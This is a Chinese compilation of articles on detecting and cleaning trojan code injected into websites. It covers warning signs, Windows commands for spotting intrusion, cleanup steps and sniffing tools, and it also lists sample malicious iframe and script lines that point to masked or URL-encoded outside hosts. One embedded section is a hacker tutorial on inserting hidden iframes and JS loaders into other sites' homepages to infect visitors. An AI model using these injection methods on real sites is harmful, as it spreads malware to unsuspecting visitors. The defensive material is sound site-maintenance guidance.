专家教你如何轻松检测与清除网站挂马(图文并茂)
如何查看网站挂马
终极网站挂马检测工具(网站被挂马怎么办)之前做一些淘客站，一些小站，也都没有在意过检查网站挂马！总觉得应该没有人会给我的网站挂马，现在做了一些正规站，一些商城，所有的东西都要考虑了。
一不小心网站被挂马，我那些数据可就麻烦大了啊，还有网站的排名恐怕也难保了。
所以今天就收集了一些资料，全部整理了一下，然后给自己的网站都运用上了。
具体网站被挂马怎么办大家可以看我下面的介绍！一，网站被挂马有什么危害？1，网站被搜索引擎（google，百度等）屏蔽，影响SEO流量。
2，网站被杀软查杀或屏蔽。
3，网站成为木马散布点。
4，严重危害用户各种账号安全，影响自身公众信誉度。
5，网站的数据受到影响。
6，网站本身操作SEO的话，会对网站权重受到影响。
二，网站被挂马在搜索引擎和浏览器中被拦截的情况：百度搜索后网站被挂马情况：谷歌搜索后网站被挂马情况360浏览器网站挂马检测情况火狐浏览器网站挂马检测情况Googel浏览器网站挂马检测情况三，如何判断网站被挂马，网站被攻击？如果检查你的网站时候存在下列问题，则说明你的网站可能已经被黑客攻击：1、通过Site语法查询站点，显示搜索引擎收录了大量非本站应有的页面。
2、从百度搜索结果中点击站点的页面，跳转到了其他站点。
3、站点内容在搜索结果中被提示存在风险。
4、从搜索引擎带来的流量短时间内异常暴增。
注：site查询结合一些常见的色情、游戏、境外博彩类关键字，可帮助站长更快的找到异常页面，例如“site: 博彩”一旦发现上述异常，我们建议您立即对网站进行排查。
包括：1、分析系统和服务器日志，检查自己站点的页面数量、用户访问流量等是否有异常波动，是否存在异常访问或操作日志；2、检查网站文件是否有不正常的修改，尤其是首页等重点页面；3、网站页面是否引用了未知站点的资源（图片、JS等），是否被放置了异常链接；4、检查网站是否有不正常增加的文件或目录；5、检查网站目录中是否有非管理员打包的网站源码、未知txt文件等。
网站挂马
挂马攻击挂马攻击是指攻击者在已经获得控制权的网站的网页中嵌入恶意代码（通常是通过IFrame、Script引用来实现），当用户访问该网页时，嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或者其它插件（如Flash、PDF插件等）漏洞，在用户不知情的情况下下载并执行恶意木马。
挂马方式目前挂马的主要方式是通过IFrame与Script嵌入网马URL，比如下面的挂马代码：<iframe src=http://www.cq***.com/Img/ width=0 height=0></iframe>这里通过将IFrame的width与height设置为0，使得嵌入的网马URL在网页上不可见。
<script src=http://%68%68%6A%32***%63%6E></script>这里Script里的URL是经过URL encode编码的。
通过各种编码、混淆、客户端判断等方式来隐藏、保护网马是攻击者挂马常用的手段。
除了这两种常见的挂马方式外，还有如下几种：1、利用JavaScript执行各种经过编码、混淆的攻击代码进行挂马。
2、利用网页跳转、弹出新窗口等方式进行挂马。
3、利用Flash等媒体封装的方式进行挂马。
4、在CSS（层叠样式表）里可以执行JavaScript的浏览器中进行挂马。
挂马常见类型常见的几种类型如下：1、数据库挂马攻击者利用SQL注入漏洞将挂马代码注入到数据库的某些字段中，如果网站页面使用到这些字段的值，并且没做适当的过滤，就有可能导致用户访问该网站的页面时执行攻击者注入的代码。
2、文件挂马攻击者直接将挂马代码批量写入服务端文件里以达到整站挂马的目的。
3、ARP挂马在与目标站点同一局域网的情况下，攻击者可以通过控制局域网中任意一台主机计算机发起ARP欺骗，并将挂马代码注入到用户请求的响应页面上，从而达到隐蔽的挂马目的。
3个命令轻松知道自己电脑是否被挂马
一、检测网络连接)
如果你怀疑自己的计算机上被别人安装了木马，或者是中了病毒，但是手里没有完善的工具来检测是不是真有这样的事情发生，那可以使用Windows自带的网络命令来看看谁在连接你的计算机 具体的命令格式是：netstat -an这个命令能看到所有和本地计算机建立连接的IP，它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息，我们就可以完全监控计算机上的连接，从而达到控制计算机的目的。
方法就是直接输入“net start”来查看服务，再用“net stop server”来禁止服务。
三、轻松检查账户
很长一段时间，恶意的攻击者非常喜欢使用克隆账号的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户，但这个账户是不经常用的，然后使用工具把这个账户提升到管理员权限，从表面上看来这个账户还是和原来一样，但是这个克隆的账户却是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机
为了避免这种情况，可以用很简单的方法对账户进行检测。 首先在命令行下输入net user，查看计算机上有些什么用户，然后再使用“net user+用户名”查看这个用户是属于什么权限的，一般除了Administrator是administrators组的，其他都不是!如果你发现一个系统内置的用户是属于administrators组的，那几乎肯定你被入侵了，而且别人在你的计算机上克隆了账户。快使用“net user用户名/del”来删掉这个用户吧!
联网状态下的客户端。对于没有联网的客户端，当其联网之后也会在第一时间内收到更新信息将病毒特征库更新到最新版本。不仅省去了用户去手动更新的烦琐过程，也使用户的计算机时刻处于最佳的保护环境之下
网页挂马详细步骤教程
∙∙当前位置 : 主页 > 网络安全 > 黑客教程 >网页挂马详细步骤教程来源：互联网作者：佚名时间：04-30 13:19:33【大中小】点评：其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。
下面我介绍5种方法，我一个一个介绍方法一：这个就是最简单的了，只要你懂点html语言把下面这段代码插进网页中：其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。
下面我介绍5种方法，我一个一个介绍方法一：这个就是最简单的了，只要你懂点html语言把下面这段代码插进网页中：<iframe src="这里换成你的网马的地址" width="0" height="0"frameborder="0"></iframe>我来插入，理论上来说插到任何地方都行，只是不要把html语言给弄乱了就行本来没有插进去的页面就是这样，不知道网易那里有没有弹出的广告了，好我们运行，注意到网页的左下角的网址变化看到左下角了吧，那里在请求，说明我们插入进去的页面也运行了，哦，还有个弹出的窗口，给我的工具拦了，我来刷新一次，看到吧width="0" height="0" frameborder="0"就是大小高度的意思，我们把他设置为零，那我们就不能看到网页的内容了看下一种方法，把原来插进去的清理掉先，等下那个文件还要用方法二：这个就是脚本<SCRIPT language=javascript>window.open("/test.htm","","toolbar=no,location=no,directorie s=no,status=no,menubar=no,scrollbars=no,width=1,height=1");</script>我们做网页的时候就会加入很多网页特效，同样我们也可以用来打开我们的网马，那么浏览过机子就会中我们的网马了～学过java的都知道上面一段代码的意思了把！打开网站的同时也就打开了我们的/test.htm看我们插进去弹出的窗口给拦了，我去掉先，还是给拦了晕，有个窗口弹了出来，这样子的网马是不保险的……不过也不失为一种方法呃～改成0就更大的窗口了，好，方法而已，只是介绍，下一个方法三：还有一点就是比较隐蔽的那就是使用js文件document.write("<iframe width='0' height='0'src='/mm1.htm'></iframe>");document.write("<iframe width='0' height='0'src='/mm2.htm'></iframe>");我们没必要挂两个网马，就写一个好了额刚才写错位置了保存为mm.js，然后在首页里调用js脚本<script language="javascript" src="</script'>/mm.js"></script>这个就是调用的代码，从这里我们可以看到/mm.js，说明我们的mm.js 文件可以不传到主机上，这样可以方便我们批量管理我们挂马，传到我们的主页空间上就可以了不过我这里就不传了，就用本地的吧，运行左下角……调用了163的了，再刷新下，看清楚点，OK下一种方法方法五：再一种代码就是调用其他网页的页面文件,可以将下面的代码复制，保存为HTM文件。
如何检测网站是否被挂马
如何检测网站是否被挂马
站长最头疼的一件事大概就是网站被挂马了吧！网站被挂马就说明网站的权限很可能已经落入到了其他人的手上，就好比这个网站里有什么都可能被别人知道，网站挂马还会给网站打来巨大的负面影响比如内容被篡改，用户体验变差，严重的可能还会发生企业机密数据泄露等风险，那么对于一个网站如何才能检测出是否被挂马了呢？
1、看网站打开首页是否会自动跳转到陌生页面，一般来说网站被挂马最明显的特征就是网站是否存在跳转到其网站链接，如果我们在用浏览器打开自己网站的时候发现网站突然跳转到陌生的页面，那么这个时候就要想一想是不是网站被挂马了。
可以通过手动检查的方式来常看网站源码，可以通过查找命令查看网以http开头是不是存在自己的链接。
如果源码中出现不是自己网站的链接也不是广告链接的话，站长就应该及时处理挂马了。
2、FTP
坑一通过FTP来参看服务器内文件是否有被修改，如果是网站被挂马而且黑客修改了网站文件，那么相应的文件修改时间也会发生变化，所以要是某些文件的修改时间比其他文件要晚，就说名可能该文件以及被黑客修改过了，也就是说网站以及被挂了木马了。
3、后台进不去
后台是方面管理员进行操作的，要是网站后台进不去，或者没有权限说明后台可能被篡改，也说明网站被挂了马。
4、查看网站收录
可以使用site命令来site一下网站，要是在搜索结果中发现有大量不属于网站的内容，就说明网站可能被挂了马。
有没有什么办法来预防呢
推荐使用一些在线检测挂马的工具，站长工具里也有。
还有就是ftp的用户期限要尽量最小化，重要的文件可以定期的检查是否被修改等等。
网站被挂马的解决途径有哪些？
网站被挂马的解决途径有哪些？
网站被挂马的解决途径有哪些?
第一，降低网站文件夹权限
网站如果被挂马，第一时间可以将网站所在的文件夹权限更改至最低，也就是只保留读写权限，暂时关闭其他权限，这样只需要网站能够正常访问就可以了。
因为文件夹权限修改以后，黑客暂时就无法再次篡改网页，因此就防止了老问题没解决就出现新的问题。
但是如果是整台服务器都被黑，修改网站文件权限也是没有多少用处，这时需要对网站重新换空间。
第二，备份文件替换被挂马文件
文件夹权限修改后，就需要对挂马文件进行修改删除。
如果觉得麻烦，可以直接将之前备份的文件替换现在被挂马的文件。
为了确保可以替换每一个页面，可以先将空间清空后再上传，但是为什么要将空间清空呢?主要担心黑客可能上传自己的后门文件，如果这样的话，即使将文件替换也是没有多少作用的。
将空间清空既可以删除可能存在的后门文件，也可彻底替换每一个可能被挂马的页面，因此平时在维护网站的时候，学会对文件进行定期备份很有必要。
第三，帐号密码不能太过简单
账号密码主要包括空间FTP、网站后台以及数据库等涉及安全的账号密码，帐号密码设置时，切忌直接将域名作为账号与密码，最好可以大小写组合，不能全是数字，这样黑客破解起来非常容易。
帐号密码调整好以后再检查网站的.管理后台目录是否是默认的，如果是默认的类似admin这样的请做修改以防止黑客从后台入侵。
网站被挂马后，网站权重、流量、排名都会下降很多，对网站伤害是比较大的。
因此站长在平时工作中，需要定期对网站进行漏洞检查，或者查看网站源文件，并对网站后台设置好权限，只有这样网站才会有一个比较安全的状态。
分享站长快速检测网站是否被挂马的三方法
分享站长快速检测网站是否被挂马的三方法网站被挂马或者被挂暗链说明网站的管理权限已落入他人之手，而且网站被挂马往往来给网站带来不可估量的负面影响，最常见的就是网站用户体验变形、网站被降权甚至是被K，而对于网站被马之后，很多站长都不能及时的发现并处理，导致网站出现状况后才有所感概。
那么站长应该如何去防范这个网站最大的杀手呢?站长如何去检查自己的网站是否被挂马了呢?今天笔者以亲身经历来谈谈如何检查网站是否被挂马的几个方法。
一、彻底检查法-手动检查网站源码对于站长检查网站是否被挂马，其中最简单的方法就是自己手动检查网站的源码，一般而言，网站被挂马最明显的特征是网站存在跳转到其他网站的链接，也就是网站被挂马之后一旦打开网站就会弹出不是自己的网站也不是广告页面的代码。
而咱们检查的时候就可以通过检查网站的首页源码开始。
首先查看网站首页的源码，然后通过查找命令以http://开头检查是否存在不是自己网站的链接。
通过手动查看源码，检查网站链接的方式是最彻底的检查网站是否被挂马的方法，如果网站源码中出现不是自己网站的链接或者是自己不熟悉的网址的时候，那么站长就要注意了，如果也不是广告链接的话，那么这个网址可能就是被挂马或者被挂暗链之后的跳转链接，而这说明网站的管理权限已经外露了，这时候站长就要及时的处理掉。
二、借助法-借助在线安全检测平台检查现在网络上出现了网站安全检测的第三方插件，而最以知名的就是瑞星联盟和360网站安全检测了，这两个网站在线检测平台对于咱们检查网站是否被挂马、是否安全有着非常大的帮助。
那么咱们想更深入的了解网站是否被挂马或者网站是否存在安全风险的时候就可以借助这类型的网站要深入了解自身网站的安全性，就拿360网站安全检测来举例子，首先需要一个帐号，因为只有登陆帐号并且对网站进行权限检测之后才能看到检查结果，一般检测的时间需要比较长，但好在是全自动进行的。
通过给网站来自全方位的源码进行检查完成后，系统就会把检测报告发到你的邮箱中，而且网站本身也有个报告说明，而咱们通过查看该报告所反馈的信息自然就可以对自己的网站是否被挂马了如指掌了。
巧妙利用百度站长平台死链工具删除被百度收录的挂马网址
巧妙利用百度站长平台死链工具删除被
百度收录的挂马网址
前一段时间，由于程序漏洞造成网页内容多处被挂博彩的内容信息，木马删除后，但是百度收录的挂马页面却都过去几个月了依然还是存在于是利用百度站长平台工具的死链提交将挂马页面删除。
下面就为大家分享一下详细的操作方法：
一、网站配置
我的网站挂马网页的网址全部为：/,登陆后在导航的左侧找到数据提交选项->死链提交，如下图：
下面我们要建立一下列链接文件，将你要删除的死链或是挂马链接全部写在这个文件里，格式如下：
将这个文件上传到网站的要目录，到百度站长平台提交这个文件的地址，如下图：
OK!提交以后就耐心等待百度处理吧!
文章由设计北京门户网提供()，转载请注明!
文章来源于：/article-21748-1.html。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
专家教你如何轻松检测与清除网站挂马（图文并茂）
【导语】本文探讨了如何通过一些工具软件来检测和清除在网站系统中的网页木马，在实际管理维护过程中还有很多本文未提及到的，例如抓包分析，通过分析原始数据包，也能获取被挂马的页面，本文算是抛砖引玉...
不完全统计，90%的网站都被挂过马，挂马是指在获取网站或者网站服务器的部分或者全部权限后，在网页文件中插入一段恶意代码，这些恶意代码主要是一些包括IE等漏洞利用代码，用户访问被挂马的页面时，如果系统没有更新恶意代码中利用的漏洞补丁，则会执行恶意代码程序，进行盗号等危险超过。
目前挂马主要是为了商业利益，有的挂马是为了赚取流量，有的是为了盗取游戏等账号，也有的是为了好玩，不管是处于那种目的，对于访问被挂马的网站来说都是一种潜在的威胁，影响运营网站公司形象。
当一个网站运营很长时间后，网站文件会非常多，手工查看网页文件代码非常困难，杀毒软件仅仅对恶意代码进行查杀，对网页木马以及挂马程序不一定全部查杀，本文就如何利用一些安全检测工具软件来检测和清除网站木马方面进行探讨，使用本文提及的工具可以很轻松的检测网站是否被挂马。
(一)检测挂马页面
1.安装urlsnooper 软件
Urlsnooper是一款URL嗅探工具，其官方主页地址为：，目前已经不提供免费下载了，可以到下载该软件。
安装非常简单，按照提示进行安装即可。
第一次使用时需要程序会自动检查网卡，查看能否正常连接网络，设置正确无误后，应该出现如图1所示的画面。
图1 安装正确后的界面
2.对网站进行侦测
在Urlsnooper中的“Protocol Filter”中选择“Show All”，然后单击“Sniff Network”按钮开始监听网络。
接着使用IE浏览器打开需要进行检测木马的网站，Urlsnooper会自动抓取网站中的所有连接，在Index中按照五位数字序号进行排列，如图2所示。
图2 监听结果
说明：
在侦测结果中可能包含的连接地址非常多，这个时候就需要进行排查，可以选中每一个记录，Urlsnooper会在下方中显示详细的监听结果，如图2所示，就发现存在一段挂马代码：
在百度搜索中对其进行搜索，如图3所示，有30多项搜索结果，从查询结果可以辅佐证明该段代码为挂马代码。
图3 搜索结果
说明：要善于运用网络搜索引擎，通过搜索可以知道目前关于该问题的描述和解决方法等。
3.对地址进行解码
该地址采用了一种编码，我对常用的这种编码值进行了整理，如下表所示，从中可以找出该代码中的真实地址为。
表1 编码对应表
4.获取该网站相关内容
可以使用Flashget的资源管理器去获取该网站的内容，如图4所示，打开Flashget下载工具，单击“工具”-“站点资源探索器”，打开站点资源探索器，在地址中输入“”，然后回车即可获取该网站的一些资源，在站点资源探索器中可以直接下载看见的文件，下载到本地进行查看。
图4 使用“站点资源探索器”获取站点资源
说明：
使用“Flashget站点资源探索器”可以很方便的获取挂马者代码地址中的一些资源，这些资源可能是挂马的真实代码，透过这些代码可以知道挂马者是采用哪个漏洞，有时候还可以获取0day。
在本例中由于时间较长，挂马者已经撤销了原来的挂马程序文件，在该网站中获取的html文件没有用处，且有些文件已经不存在了，无法对原代码文件进行分析。
5.常见的挂马代码
(1)框架嵌入式网络挂马
网页木马被攻击者利用iframe语句，加载到任意网页中都可执行的挂马形式，是最早也是最有效的的一种网络挂马技术。
通常的挂马代码如下：
解释：在打开插入该句代码的网页后，就也就打开了页面，但是由于它的长和宽都为“0”，所以很难察觉，非常具有隐蔽性。
(2)Js调用型网页挂马
js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术，如：黑客先制作一个.js文件，然后利用js代码调用到挂马的网页。
通常代码如下：
就是一个js脚本文件，通过它调用和执行木马的服务端。
这些js文件一般都可以通过工具生成，攻击者只需输入相关的选项就可以了。
(3)图片伪装挂马
随着防毒技术的发展，黑手段也不停地更新，图片木马技术逃避杀毒监视的新技术，攻击者将类似：中的木马代码植入到test.gif图片文件中，这些嵌入代码的图片都可以用工具生成，攻击者只需输入相关的选项就可以了。
图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：
注：当用户打开是，显示给用户的是，而网页代码也随之运行。
(4)网络钓鱼挂马(也称为伪装调用挂马)
网络中最常见的欺骗手段，黑客们利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页，利用社会工程学欺骗方法，引诱点击，当用户打开一个看似正常的页面时，网页代码随之运行，隐蔽性极高。
这种方式往往和欺骗用户输入某些个人隐私信息，然后窃取个人隐私相关联。
比如攻击者模仿腾讯公司设计了一个获取QQ币的页面，引诱输入QQ好和密码，如图5所示。
等用户输入完提交后，就把这些信息发送到攻击者指定的地方，如图6。
图5 伪装QQ页面
图6 获取的QQ密码
(5)伪装挂马
高级欺骗，黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术，当用户访问木马页面时地址栏显示或者等用户信任地址，其实却打开了被挂马的页面，从而实现欺骗，示例代码如：
(二)清除网站中的恶意代码(挂马代码)
1.确定挂马文件
清除网站恶意代码首先需要知道哪些文件被挂马了，判断方法有三个，方法一就是通过直接查看代码，从中找出挂马代码;方法二是通过查看网站目录修改时间，通过时间进行判断;方法三使用本文提到的软件进行直接定位，通过监听找出恶意代码。
在本案例中，网站首页是被确认挂马了，通过查看时间知道被挂马时间是8月25日左右，因此可以通过使用资源管理器中的搜索功能，初步定位时间为8月24日至26日，搜索这个时间范围修改或者产生的文件，如图7，图8所示，搜索出来几十个这个时间段的文件。
图7 搜索被修改文件
图8 搜索结果
2.清除恶意代码
可以使用记事本打开代码文件从中清除恶意代码，在清除代码时一定要注意不要使用FrontPage的预览或者设计，否则会直接访问挂马网站，感染木马程序。
建议使用记事本等文本编辑器。
在清除恶意代码过程中，发现挂马者竟然对js文件也不放过，如图9所示。
图9 对js文件进行挂马
技巧：
可以使用Frontpage中的替换功能替换当前站点中的所有指定代码。
(三)总结与回顾
本文探讨了如何通过一些工具软件来检测和清除在网站系统中的网页木马，在实际管理维护过程中还有很多本文未提及到的，例如抓包分析，通过分析原始数据包，也能获取被挂马的页面，本文算是抛砖引玉...。